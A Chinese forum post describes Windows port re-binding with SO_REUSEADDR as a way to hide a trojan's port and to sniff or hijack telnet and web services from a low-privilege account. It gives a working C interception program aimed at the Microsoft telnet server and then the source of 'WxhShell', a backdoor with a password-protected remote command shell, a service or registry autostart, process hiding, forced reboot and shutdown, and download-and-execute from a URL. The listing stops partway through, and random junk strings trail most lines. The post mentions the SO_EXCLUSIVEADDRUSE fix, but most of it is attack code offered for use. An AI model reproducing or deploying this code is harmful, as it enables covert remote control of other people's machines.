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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DJ|BM+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O4!9{  
X  Ny Y$  
  saddr.sin_family = AF_INET; 8W$L:{ez  
H:{?3gk.P3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BUDGyl/=  
i7s\CY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j/' g$  
FJF3B)Va|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y$+QNi  
8$m1eQ`{  
  这意味着什么?意味着可以进行如下的攻击: vcM~i^24)  
`V@z&n0P6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m_$JWv\|\  
C]Q>*=r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bs P6\'\4  
,(;5%+#n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {lMqcK  
F^miq^K=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pALJl[Cb  
kF?S 2(vH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4&]%e6,jH  
cyBW0wV1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #fN/LO  
| @ *3^'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *_#&"(P  
71*>L}H  
  #include G:DSWW}  
  #include |,{+;:  
  #include *w|iu^G  
  #include    &urb!tQ>&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #w;;D7{@m  
  int main() (rIXbekgB  
  { $ hoYkA  
  WORD wVersionRequested; s.KOBNCFa  
  DWORD ret; 0JyqCb l  
  WSADATA wsaData; @2?=3Wf  
  BOOL val; G>JxIrN0  
  SOCKADDR_IN saddr; wR(ttwxK3  
  SOCKADDR_IN scaddr; Bd8hJA  
  int err; Hva{A #  
  SOCKET s; O'fc/cvh='  
  SOCKET sc; @BXaA0F4  
  int caddsize; %xHu,*  
  HANDLE mt; |veBq0U  
  DWORD tid;   %uW<  
  wVersionRequested = MAKEWORD( 2, 2 ); B6uf;Yc  
  err = WSAStartup( wVersionRequested, &wsaData ); ..aK sSm(  
  if ( err != 0 ) { e_^KI  
  printf("error!WSAStartup failed!\n"); TtZrttCE6  
  return -1; il7 !}  
  } [:BW+6  
  saddr.sin_family = AF_INET; 4 #G3ew  
   ;=#qHo9k1%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $sM]BE:  
(a,6a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WVj&0  
  saddr.sin_port = htons(23); nMeSCX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 27$\sG|g  
  { ~;` fC|)  
  printf("error!socket failed!\n");  X+\0%|  
  return -1; |O2|`"7  
  } m[{nm95QZ  
  val = TRUE; X9SJ~n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .ZM]%[4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gtf1}UJC  
  { rC=f#YjR  
  printf("error!setsockopt failed!\n"); ;wfH^2HxE)  
  return -1; p {w}  
  } Ed4_<:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f.sPE8 #3=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?NQD#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UX03"gX  
N <ja6Ac  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U. NeK{  
  { Q^\{Zg)p  
  ret=GetLastError(); A5`#Ot*3  
  printf("error!bind failed!\n"); Gt?!E6^ !  
  return -1; |P^ikx6f5  
  } }6F_2S3c  
  listen(s,2); G;87in ,}  
  while(1) }x>}:"P;W  
  { +*WUH513  
  caddsize = sizeof(scaddr); Be'?#Qe   
  //接受连接请求 \nn56o@eN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sz^TG F  
  if(sc!=INVALID_SOCKET) Ov F8&*A  
  { Tey,N^=ek  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q=(M!9cE  
  if(mt==NULL) yOn H&Jj  
  { y=y/d>=w  
  printf("Thread Creat Failed!\n"); 2y&_Z^kI?  
  break; =P@M&Yy'  
  } sASAsGk<  
  } Z_ iQU1  
  CloseHandle(mt); WoC\a^V  
  } My`josJ`Pb  
  closesocket(s); '` BjRg57]  
  WSACleanup(); (Q*2dd>  
  return 0; ljaAB+  
  }   >"2\D|-/  
  DWORD WINAPI ClientThread(LPVOID lpParam) "H/2r]?GT  
  { o+PQ;Dl  
  SOCKET ss = (SOCKET)lpParam; Iqe=#hUFe!  
  SOCKET sc; b7F3]W<`&  
  unsigned char buf[4096]; 3}.mp}K 5  
  SOCKADDR_IN saddr; 98"z0nI%  
  long num; )j)y5_m  
  DWORD val; Lrm tPnL  
  DWORD ret; sWqPw}/3>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k}+MvGq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `Lb _J  
  saddr.sin_family = AF_INET; < |]i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K{`2jK#  
  saddr.sin_port = htons(23); =X%R*~!#Of  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V@54k*V  
  { kOlI?wc  
  printf("error!socket failed!\n"); N'Z_6A*-  
  return -1; c DEe?WS  
  } !<['iM  
  val = 100; P"h,[{Y*>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7oqn;6<[>,  
  { 80R= r  
  ret = GetLastError(); z!Pdivx  
  return -1; =_H*fhXS  
  } Rzn0-cG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2=Vkjh-  
  { M7cI$=G  
  ret = GetLastError(); l yLK$B?/  
  return -1; K_w0+oY a  
  } @zVBn~=i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nsy9 h}+A  
  { s/p>30Fg  
  printf("error!socket connect failed!\n"); <|>:UGAR  
  closesocket(sc); r)Mx.`d!  
  closesocket(ss); >x_:=%Wr+  
  return -1; Hhce:E@K  
  } Vms7 Jay  
  while(1) /n<Ncf  
  { {H7$uiq3:B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &&QDEDszp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zWR*g/i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S92 !jp/  
  num = recv(ss,buf,4096,0); w1!\L_::Y  
  if(num>0) N%M>,wT  
  send(sc,buf,num,0); KI? 1( L  
  else if(num==0) d9e H}#OY  
  break; f^yLwRUD  
  num = recv(sc,buf,4096,0); 0 S`b;f  
  if(num>0) R;,u >P "  
  send(ss,buf,num,0); N6 }i>";_;  
  else if(num==0) dQ2i{A"BKz  
  break; #.t$A9'  
  } Ul~}@^m]4}  
  closesocket(ss); !?>p]0*<  
  closesocket(sc); J W yoh|  
  return 0 ; ]\b1~ki!F  
  } TYLl_nGr  
#}]il0d  
KX`nHu;  
========================================================== 2*",{m  
#p9z#kin  
下边附上一个代码,,WXhSHELL BKlc{=  
5t1DB'K9$_  
========================================================== ^}pREe c=  
L5N{ie_  
#include "stdafx.h" kGTc~p(  
@^4M~F%  
#include <stdio.h> -H]f@|AOw  
#include <string.h> R8W4 4I*R:  
#include <windows.h> 8LM1oal}  
#include <winsock2.h> Cot\i\]jv  
#include <winsvc.h> )cmLo0`$  
#include <urlmon.h> ny? m&;^r:  
Q1&dB{L  
#pragma comment (lib, "Ws2_32.lib") V$F.`O!hfi  
#pragma comment (lib, "urlmon.lib") /WgWe  
#3[b|cL  
#define MAX_USER   100 // 最大客户端连接数 \ rWgA  
#define BUF_SOCK   200 // sock buffer Kxaz^$5Y$  
#define KEY_BUFF   255 // 输入 buffer %IXW|mi  
[k{iN1n  
#define REBOOT     0   // 重启 Y_YIJ@  
#define SHUTDOWN   1   // 关机 7?WBzo!!L  
8t \>  
#define DEF_PORT   5000 // 监听端口 4'[ V'c\  
^ nZ2p$  
#define REG_LEN     16   // 注册表键长度 9F1stT0G%  
#define SVC_LEN     80   // NT服务名长度 U jzz`!mz  
+7OT`e %q  
// 从dll定义API AFJY!ou~6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v!9Imf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c^gIK1f-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D)Rf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % x;!s=U  
1)r_h(  
// wxhshell配置信息 ?bDae%>.d,  
struct WSCFG { O +}EE^*a  
  int ws_port;         // 监听端口 ,T[ +omo  
  char ws_passstr[REG_LEN]; // 口令 ZTC1t_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]7 mSM  
  char ws_regname[REG_LEN]; // 注册表键名 d+ko"F|  
  char ws_svcname[REG_LEN]; // 服务名 )#Bfd(F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XB 7^Ka  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2/N*Uk 0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,]qX_`qF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g}KZL-p4\m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C>VZf,JE1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wcT6d?*5  
}Cg~::,"  
}; $zi\ /Yw  
=nZd"t'p|  
// default Wxhshell configuration vBnHG-5;P  
struct WSCFG wscfg={DEF_PORT, 74Wg@! P  
    "xuhuanlingzhe", V3UGx'@^y  
    1, 'PbA/MN  
    "Wxhshell", dF]8>jBOL  
    "Wxhshell", |%;txD  
            "WxhShell Service", >AFpO*q"  
    "Wrsky Windows CmdShell Service", H;&t"Ql.  
    "Please Input Your Password: ", R/|{?:r?:x  
  1, Z`t?kXDNoI  
  "http://www.wrsky.com/wxhshell.exe", ^k##a-t<_>  
  "Wxhshell.exe" ji=po;g=E  
    }; bOKNWI   
S`KCVQ>V  
// 消息定义模块 k<qH<<r*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z+7S,M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "PtH F`mo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jl ?Q}SB  
char *msg_ws_ext="\n\rExit."; h_!"CF <n  
char *msg_ws_end="\n\rQuit."; *?&O8SSBH  
char *msg_ws_boot="\n\rReboot..."; [G/X  
char *msg_ws_poff="\n\rShutdown..."; o#6}?g.  
char *msg_ws_down="\n\rSave to ";  Z.JTq~`I  
TD7ONa-,  
char *msg_ws_err="\n\rErr!"; wv-8\)oA  
char *msg_ws_ok="\n\rOK!"; P s;:g0  
`_)dEu  
char ExeFile[MAX_PATH]; .`].\Zykf  
int nUser = 0; s'I$yJ)@2E  
HANDLE handles[MAX_USER]; DUr1s]+P  
int OsIsNt; v g]&T  
&@-glF5  
SERVICE_STATUS       serviceStatus; A[bxxQSP\H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L+L9)8FJ  
FoQk  
// 函数声明 h@d m:=ul  
int Install(void); ,L G&sa"  
int Uninstall(void); Tp13V.|  
int DownloadFile(char *sURL, SOCKET wsh); 8>9+w/DL  
int Boot(int flag); }dM^6 Kd%  
void HideProc(void); b.;W|$.  
int GetOsVer(void); \2!$HA7P  
int Wxhshell(SOCKET wsl); ,}0pK\Y>$  
void TalkWithClient(void *cs); gP@ni$n  
int CmdShell(SOCKET sock); 9h{G1XL  
int StartFromService(void); YBP{4Rl  
int StartWxhshell(LPSTR lpCmdLine); (1^(V)@  
/slML~$t<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y<v55m-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f/ZE_MN2  
xjN~Y D:  
// 数据结构和表定义 xo$ZPnf(zv  
SERVICE_TABLE_ENTRY DispatchTable[] = guvQISQlY  
{ j^.P=;  
{wscfg.ws_svcname, NTServiceMain}, O]>`B{  
{NULL, NULL} ./d (@@  
}; V|)>  
]O."M"B  
// 自我安装 z0sB*5VH  
int Install(void) U VT8TN-T  
{ %0 4n,&mg  
  char svExeFile[MAX_PATH]; g i)/iz`  
  HKEY key; $gNCS:VG*  
  strcpy(svExeFile,ExeFile); ?HY0@XILI  
[H1NP'Kg]  
// 如果是win9x系统,修改注册表设为自启动 ^4"_I   
if(!OsIsNt) { 7}Sw(g)o7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &BgaFx**  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nC rNZ&P  
  RegCloseKey(key); 4jpF^&y7u^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kBzzi^cl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >BX_Bou  
  RegCloseKey(key); -AX3Rnv^!  
  return 0; #lO;G k{  
    } 'Khq!pC   
  } \&H%k   
} md0=6< }P  
else { !4E:IM63  
}=U\v'%m  
// 如果是NT以上系统,安装为系统服务 {x8`gP\H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g@Zc'g/XB  
if (schSCManager!=0) &eg,*K}'  
{ ;VuIQ*@m"  
  SC_HANDLE schService = CreateService >HFJm&lQ  
  ( .#n?^73  
  schSCManager, DB0xIP~i,?  
  wscfg.ws_svcname, iB?@(10}ES  
  wscfg.ws_svcdisp, 0pR04"`;  
  SERVICE_ALL_ACCESS, 8<^,<?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a5'QL(IX  
  SERVICE_AUTO_START, 2C-u2;X2  
  SERVICE_ERROR_NORMAL, v% 1#y5  
  svExeFile, rLwc=(|  
  NULL, $H#&.IjY  
  NULL, UW+I 8\^  
  NULL, E|>I/!{u7`  
  NULL, E8xXr>j>#  
  NULL [ACYd/  
  ); sJr$[?  
  if (schService!=0) aQ)9<LsI  
  { F JzjS;  
  CloseServiceHandle(schService); "%Jx,L\f{  
  CloseServiceHandle(schSCManager); ,Xn%-OT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IOA{l N6  
  strcat(svExeFile,wscfg.ws_svcname); MwuH.# Ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {?C7BClB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6?_Uow}  
  RegCloseKey(key); 1kpI?Plki  
  return 0; ?eu=0|d  
    } ZGf=/Ra a  
  } +q4T];<  
  CloseServiceHandle(schSCManager); 8ZN J}  
} G67BQG\av  
} {>z.y1  
k @ Hu0x  
return 1; &L/ C:<.  
} &~k/G  
D\k);BU~  
// 自我卸载 ?FA:K0H?zl  
int Uninstall(void) w qsPGkJJ7  
{ !{4p+peqJV  
  HKEY key; MVdE7P  
HsO=%bb  
if(!OsIsNt) { P`"dj@1'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mb&b=&  
  RegDeleteValue(key,wscfg.ws_regname); G q 8/xxt  
  RegCloseKey(key); V{"5)Ly?fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %(NRH?  
  RegDeleteValue(key,wscfg.ws_regname); `Q{kiy  
  RegCloseKey(key); ^iGIF~J9  
  return 0; N+r~\[N\9  
  } S`J_}>  
} ]Rw,5\0  
} E J 9A 4B  
else { rz3&khi  
p@!"x({@l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rf9RG!  
if (schSCManager!=0) 0]"j,  
{ 9)=as/o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >_5D`^  
  if (schService!=0) IlaH,J7n  
  { 4gYP .h:,  
  if(DeleteService(schService)!=0) { g]3-:&F{c  
  CloseServiceHandle(schService); >z( 6ADq  
  CloseServiceHandle(schSCManager); &Zf@vD  
  return 0; ~:JKXa?  
  } }#Vo XilX  
  CloseServiceHandle(schService); ncWASw`  
  } ]qXfg c  
  CloseServiceHandle(schSCManager); w PV`j:?'  
} !1!uB }  
} z\;kjI  
%``FIv15w  
return 1; l]%|w]i\  
} >Vn!kN6\  
mhcJ0\@_  
// 从指定url下载文件 Wve ^2lkoK  
int DownloadFile(char *sURL, SOCKET wsh) +[cm  
{ +wQ GC  
  HRESULT hr; F2XXvxG  
char seps[]= "/"; g :O.$  
char *token; YpuA,r;"  
char *file; 6k ^vF~  
char myURL[MAX_PATH]; )hn,rmn (P  
char myFILE[MAX_PATH]; EK#w: "  
&*0!${ B  
strcpy(myURL,sURL); ,PY<AI^59  
  token=strtok(myURL,seps); hR. EZ|.  
  while(token!=NULL) C@KYg/nYw  
  { S?D2`b  
    file=token; Cu!4ha.e`  
  token=strtok(NULL,seps); P~?u2,.E[  
  } :pNZQX  
YXBS!89m  
GetCurrentDirectory(MAX_PATH,myFILE); dkCSqNFL)  
strcat(myFILE, "\\"); >0512_J+  
strcat(myFILE, file); tl#hCy  
  send(wsh,myFILE,strlen(myFILE),0); KnbP@!+c  
send(wsh,"...",3,0); bG\1<:6B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =lVfrna  
  if(hr==S_OK) mTcLocx  
return 0; F@?QVdY1q7  
else iPHMyxT+S  
return 1; !&#CEF@J  
OD*DHC2rN]  
} QO|ODW+D  
u} KiSZxt  
// 系统电源模块 F.AO  
int Boot(int flag) R4{}ZT  
{ ukri7 n*  
  HANDLE hToken; Q>||HtF$A  
  TOKEN_PRIVILEGES tkp; :?lSa6de  
+!w?g/dV  
  if(OsIsNt) { X2o5Hc)l<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gew0Y#/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xst&QKU  
    tkp.PrivilegeCount = 1; 3aW4Gs<g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7O"T `>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sba0Q[IY  
if(flag==REBOOT) { ))eR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &(wik#S  
  return 0; |/rBR!kPq  
} ^QXUiXzl  
else { =niU6Q}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oi7:J> [  
  return 0; 7_A(1Lx/l7  
} NH|v`rO  
  } mQ1QJ_;  
  else { mA{gj[@:x  
if(flag==REBOOT) { R[o KhU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k%c ?$n"  
  return 0; UIzk-.<  
} _*&<hAZj  
else { hu6)GOZbv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GY0<\-  
  return 0; X~W5Z(w(O  
} #r0A<+t{T  
} g,x$z~zU{  
JB* *z00;  
return 1; K@ W~  
} yUBic~S  
yp!Xwq#n  
// win9x进程隐藏模块 9/^4W.  
void HideProc(void) GAPZt4Z2  
{ 'L=g(  
R-Uj\M>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-`&e-~XKL  
  if ( hKernel != NULL ) {dCkiF  
  { hLO nX<%a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cjH ~H8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m|e!1_ :H  
    FreeLibrary(hKernel); ]+,Z()  
  } LP.-  
u!;kBs  
return; sE]eIN  
} $D8KEkW  
qC IZW  
// 获取操作系统版本 ^oaG.)3  
int GetOsVer(void) )]rGGNF*  
{ m;8_A|$A  
  OSVERSIONINFO winfo; h&[!CtPm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2<YHo{0BLS  
  GetVersionEx(&winfo); FL0[V,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m_U__CZ}Tt  
  return 1; *$uKg zv3  
  else |+ @  
  return 0; awo=%vJ&  
} Sd}fse  
3^ wJ4=^  
// 客户端句柄模块 oM QH- \(}  
int Wxhshell(SOCKET wsl) k' pu%nWN  
{ H=7dp%b"  
  SOCKET wsh; N4'b]:`n  
  struct sockaddr_in client; #S_LKc  
  DWORD myID; mn4j#-  
rJD>]3D5p  
  while(nUser<MAX_USER) S\GG(#b!  
{ u=k\]W-  
  int nSize=sizeof(client); {/ZB>l@D>8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); et/mfzV  
  if(wsh==INVALID_SOCKET) return 1; 1*G7Uh@K}  
-mcLT@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b&V=X{V4  
if(handles[nUser]==0) o]PSyVg  
  closesocket(wsh); ,T"(97"  
else In:h%4>  
  nUser++; ~r&Q\G  
  } wf<uG|90  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oj~k1+*  
ukvz#hdE  
  return 0; $F;$-2  
} |M0 XLCNd_  
0Rrz   
// 关闭 socket )QFT$rmX  
void CloseIt(SOCKET wsh) cidS/OH  
{ (f $Y0;v>}  
closesocket(wsh); CA[k$Sw*  
nUser--; q>!T*BQ  
ExitThread(0); >-EoE;s  
} x8tRa0-q  
vWjK[5 M%  
// 客户端请求句柄 'HPw5 L  
void TalkWithClient(void *cs) a5]~%xdK  
{ # |w,^tV  
Y13IrCA2  
  SOCKET wsh=(SOCKET)cs; *!'00fv  
  char pwd[SVC_LEN]; ;bkS0Vmg  
  char cmd[KEY_BUFF]; w[:5uo(  
char chr[1]; V4/eGh_T  
int i,j; [sACPn$f  
|'Ve75 W6u  
  while (nUser < MAX_USER) { {RwwSqJ  
HgduH::\#  
if(wscfg.ws_passstr) { 9Ni$nZN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0z.`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (J$JIPF  
  //ZeroMemory(pwd,KEY_BUFF); ww+XE2,  
      i=0; 8Bo'0  
  while(i<SVC_LEN) { nLdI>c9R  
Hagj^8  
  // 设置超时 {K_YW  
  fd_set FdRead; 89+m?H]K  
  struct timeval TimeOut; |44CD3A%  
  FD_ZERO(&FdRead); LOR$d^l  
  FD_SET(wsh,&FdRead); 78y4nRQ*  
  TimeOut.tv_sec=8; ;)c SdA9  
  TimeOut.tv_usec=0; }^)M)8zS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4'G<qJoc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /ExnW >wT  
;y4 "wBX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |p.mA-81  
  pwd=chr[0]; k<8:  
  if(chr[0]==0xd || chr[0]==0xa) { %+>I1G  
  pwd=0; z}u  
  break; *Fp )/Ih  
  } 6i=m1Yk  
  i++; aMh2[I  
    } {#Mz4s`M  
Tet,mzVuu  
  // 如果是非法用户,关闭 socket 1fEV^5I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QP[w{T  
} vV8 y_  
wR>\5z )^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {IqbO>|"O_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xxiEL2"`>  
cz&FOP+!  
while(1) { {.Nt#l  
_2U1$0xK  
  ZeroMemory(cmd,KEY_BUFF); 0'RSl~QvqS  
|w:7).P  
      // 自动支持客户端 telnet标准   IjJ3CJ<  
  j=0; "sL#)<%  
  while(j<KEY_BUFF) { YujhpJ<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9K FWa0G  
  cmd[j]=chr[0]; ~(4cnD)BO  
  if(chr[0]==0xa || chr[0]==0xd) { 611:eLyy&l  
  cmd[j]=0; TpZ)v.w~l7  
  break; YadyRUE  
  } jJ|O]v$N  
  j++; ;Fp"]z!Qh+  
    } 70*Y4'u }A  
>qAQNX  
  // 下载文件 I9k o*f  
  if(strstr(cmd,"http://")) { LT# *nr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,58D=EgFy  
  if(DownloadFile(cmd,wsh)) /,GDG=ra  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ V/*{Z  
  else CbI[K|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mi<V(M~p  
  } uK3,V0 yz  
  else { Hco [p+  
VT;$:>! +  
    switch(cmd[0]) { 80 i<Ij8J  
  o}Dy\UfU  
  // 帮助 ]NG`MZ  
  case '?': { DoNbCVZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @<AyCaU`.  
    break; >g8Tl`P,iN  
  } F|%[s|s  
  // 安装 n\wO[l)  
  case 'i': { w+*Jl}&\  
    if(Install()) PgxD?Oi8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WPpl9)Qc  
    else j`='SzVloW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I tp7X  
    break; /&cb`^"U^  
    } b":cj:mxL  
  // 卸载 9m%[ y1v0  
  case 'r': { Th'6z#h:U  
    if(Uninstall()) e ST8>r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L6!CP_!  
    else %j{gZTz-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SWPr5h  
    break; qZG "{8  
    } u ;f~  
  // 显示 wxhshell 所在路径 P*)}ENY  
  case 'p': { @/E5$mX`  
    char svExeFile[MAX_PATH]; *:aJlvk  
    strcpy(svExeFile,"\n\r"); pDrM8)r  
      strcat(svExeFile,ExeFile); bj ZcWYT  
        send(wsh,svExeFile,strlen(svExeFile),0); oCXBek?\  
    break; ,*}SfCon  
    } 31Y+bxQ  
  // 重启 s(r(! FZ  
  case 'b': { qOqQt=ObU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ejU=0+cN  
    if(Boot(REBOOT))  -*M/,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5/-?(N  
    else { 59F AhEg  
    closesocket(wsh); I+kDx=T !  
    ExitThread(0); oV&AJ=|\  
    } BD\xUjd?)Q  
    break; t+|c)"\5h  
    } `Q' 0l},  
  // 关机 J-au{eP^  
  case 'd': { hwSn?bkw  
